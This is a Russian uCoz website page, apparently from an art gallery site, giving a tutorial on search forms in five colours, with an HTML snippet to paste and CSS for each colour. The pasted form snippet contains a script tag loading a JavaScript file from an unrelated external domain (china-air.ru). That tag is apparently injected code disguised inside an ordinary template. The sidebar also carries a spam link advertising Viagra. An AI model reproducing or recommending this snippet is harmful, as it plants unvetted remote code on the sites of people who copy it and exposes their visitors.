Галерея лучших современников и их творческих работ
Главная | Регистрация | Вход Приветствую Вас Гость | RSS
Язык сайта
Выбрать язык / Choose language:
Ukranian
English
French
German
Japanese
Italian
Portuguese
Spanish
Danish
Chinese
Korean
Arabic
Czech
Estonian
Belarusian
Latvian
Greek
Finnish
Serbian
Bulgarian
Turkish
Меню сайта
Категории раздела
Полезности для сайтов ucoz [134]
Поиск
Новенькие на сайте
alexxserx
↓ ↓ ↓ ↓ ↓
lenyavalis1970
↓ ↓ ↓ ↓ ↓
bibigon2009
↓ ↓ ↓ ↓ ↓
adelgumerova
↓ ↓ ↓ ↓ ↓
cortjohn2018
↓ ↓ ↓ ↓ ↓
rbadertdinov
↓ ↓ ↓ ↓ ↓
KuznetzovapCT
↓ ↓ ↓ ↓ ↓
cecfjgmuraniench
↓ ↓ ↓ ↓ ↓
Новое на форуме
  • Виагра купить цена
  • Продолжается восстановление Успенского собора Киево-печерской Лавры
  • Война. Оружие. Пули. И все что из этого может получиться
  • Романизм
  • Ренессанс
  • Словарь
    Базилика.
    [Раздел под буквой - [Б]]
    Гризайль.
    [Раздел под буквой - [Г]]
    Дизайн.
    [Раздел под буквой - [Д]]
    Арка.
    [Раздел под буквой - [A]]
    Алла прима
    [Раздел под буквой - [A]]
    Главная » 2012 » Декабрь » 28 » Формы поиска для uCoz
    14:38
    Формы поиска для uCoz
    Представляем вашему вниманию пять цветовых вариантов форм поиска для сайтов системы uCoz.
    В место:

    Код
    $SEARCH_FORM$


    Везде ставим:

    Код
    <form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >  
      <input class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/>
      <script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
      <input class="poick_knopka" type="submit" value="Найти" />  
      <input type="hidden" name="t" value="0" />  
      </form>


    И теперь остается прописать стили!
    Фиолетовая форма:

    Код
    /* Форма поиска фиолетовая кнопка  
    ------------------------------------------*/  
    .poick_os {  
      float:left;  
      padding:4px;  
      width:300px;  
      background:#fff;  
      border: 1px solid #A0A8AC;  
    }  

    .poick_os input {  
      float:left;  
      margin:0px;  
      vertical-align:middle;  
      font:11px Verdana,Arial,Helvetica,sans-serif;  
    }  

    .poick_pole {  
      color:#555;  
      width:220px;  
      height:15px;  
      border:none;  
      padding:6px 4px;  
    }  
       
    .poick_knopka {  
      text-shadow: 1px 1px 1px #751a9b;  
      width:70px;  
      height:27px;  
      cursor:pointer;  
      background:#ce36fa;  
      border:1px solid #a622e3;  
      color:#fff; font-weight: bold!important;  
    }  
       
    .poick_knopka:hover {background:#b73cea;}  

    .poick_os,  
    .poick_knopka {  
      -webkit-border-radius: 3px;  
      -moz-border-radius: 3px;  
      border-radius: 3px;  
    }


    Синяя форма:

    Код
    /* Форма поиска синяя кнопка  
    ------------------------------------------*/  
    .poick_os1 {  
      float:left;  
      padding:4px;  
      width:300px;  
      background:#fff;  
      border: 1px solid #A0A8AC;  
    }  

    .poick_os1 input {  
      float:left;  
      margin:0px;  
      vertical-align:middle;  
      font:11px Verdana,Arial,Helvetica,sans-serif;  
    }  

    .poick_pole1 {  
      color:#555;  
      width:220px;  
      height:15px;  
      border:none;  
      padding:6px 4px;  
    }  
       
    .poick_knopka1 {  
      text-shadow: 1px 1px 1px #1061B0;  
      width:70px;  
      height:27px;  
      cursor:pointer;  
      background:#36A6FA;  
      border:1px solid #2290e3;  
      color:#fff; font-weight: bold!important;  
    }  
       
    .poick_knopka1:hover {background:#3c9fea;}  

    .poick_os1,  
    .poick_knopka1 {  
      -webkit-border-radius: 3px;  
      -moz-border-radius: 3px;  
      border-radius: 3px;  
    }


    Красная форма:

    Код
    /* Форма поиска красная кнопка  
    ------------------------------------------*/  
    .poick_os2 {  
      float:left;  
      padding:4px;  
      width:300px;  
      background:#fff;  
      border: 1px solid #A0A8AC;  
    }  

    .poick_os2 input {  
      float:left;  
      margin:0px;  
      vertical-align:middle;  
      font:11px Verdana,Arial,Helvetica,sans-serif;  
    }  

    .poick_pole2 {  
      color:#555;  
      width:220px;  
      height:15px;  
      border:none;  
      padding:6px 4px;  
    }  
       
    .poick_knopka2 {  
      text-shadow: 1px 1px 1px #b01010;  
      width:70px;  
      height:27px;  
      cursor:pointer;  
      background:#fa3636;  
      border:1px solid #e32222;  
      color:#fff; font-weight: bold!important;  
    }  
       
    .poick_knopka2:hover {background:#ea3c3c;}  

    .poick_os2,  
    .poick_knopka2 {  
      -webkit-border-radius: 3px;  
      -moz-border-radius: 3px;  
      border-radius: 3px;  
    }


    Зеленая форма:

    Код
    /* Форма поиска зелёная кнопка  
    ------------------------------------------*/  
    .poick_os3 {  
      float:left;  
      padding:4px;  
      width:300px;  
      background:#fff;  
      border: 1px solid #A0A8AC;  
    }  

    .poick_os3 input {  
      float:left;  
      margin:0px;  
      vertical-align:middle;  
      font:11px Verdana,Arial,Helvetica,sans-serif;  
    }  

    .poick_pole3 {  
      color:#555;  
      width:220px;  
      height:15px;  
      border:none;  
      padding:6px 4px;  
    }  
       
    .poick_knopka3 {  
      text-shadow: 1px 1px 1px #368620;  
      width:70px;  
      height:27px;  
      cursor:pointer;  
      background:#6ae14a;  
      border:1px solid #57c939;  
      color:#fff; font-weight: bold!important;  
    }  
       
    .poick_knopka3:hover {background:#65d447;}  

    .poick_os3,  
    .poick_knopka3 {  
      -webkit-border-radius: 3px;  
      -moz-border-radius: 3px;  
      border-radius: 3px;  
    }


    Оранжевая форма:

    Код
    /* Форма поиска оранжевая кнопка  
    ------------------------------------------*/  
    .poick_os4 {  
      float:left;  
      padding:4px;  
      width:300px;  
      background:#fff;  
      border: 1px solid #A0A8AC;  
    }  

    .poick_os4 input {  
      float:left;  
      margin:0px;  
      vertical-align:middle;  
      font:11px Verdana,Arial,Helvetica,sans-serif;  
    }  

    .poick_pole4 {  
      color:#555;  
      width:220px;  
      height:15px;  
      border:none;  
      padding:6px 4px;  
    }  
       
    .poick_knopka4 {  
      text-shadow: 1px 1px 1px #865520;  
      width:70px;  
      height:27px;  
      cursor:pointer;  
      background:#e1954a;  
      border:1px solid #c97639;  
      color:#fff; font-weight: bold!important;  
    }  
       
    .poick_knopka4:hover {background:#d48347;}  

    .poick_os4,  
    .poick_knopka4 {  
      -webkit-border-radius: 3px;  
      -moz-border-radius: 3px;  
      border-radius: 3px;  
    }
    Категория: Полезности для сайтов ucoz | Просмотров: 436 | Добавил: startsmart | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Профиль
    Гость




    Группа:
    Гости

    Мы очень рады что вы зашли к нам.
    Пожалуйста зарегистрируйтесь или авторизуйтесь!
    Случайные работы
    Друзья сайта
  • All-Art.do.am - все об искусстве! Стили, направления, художники, иконопись и т.д.

  • Tatyana_Art - Кое-что о компьютерной графике. Портфолио. Уроки компьютерной графики (2D и 3D)

  • Галерея иконописи и убранств храмов

  • Галерея мировых шедевров

  • Галерея лучших художников 20 века

  • Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Copyright MyCorp © 2024
    Бесплатный хостинг uCoz




    Rambler's Top100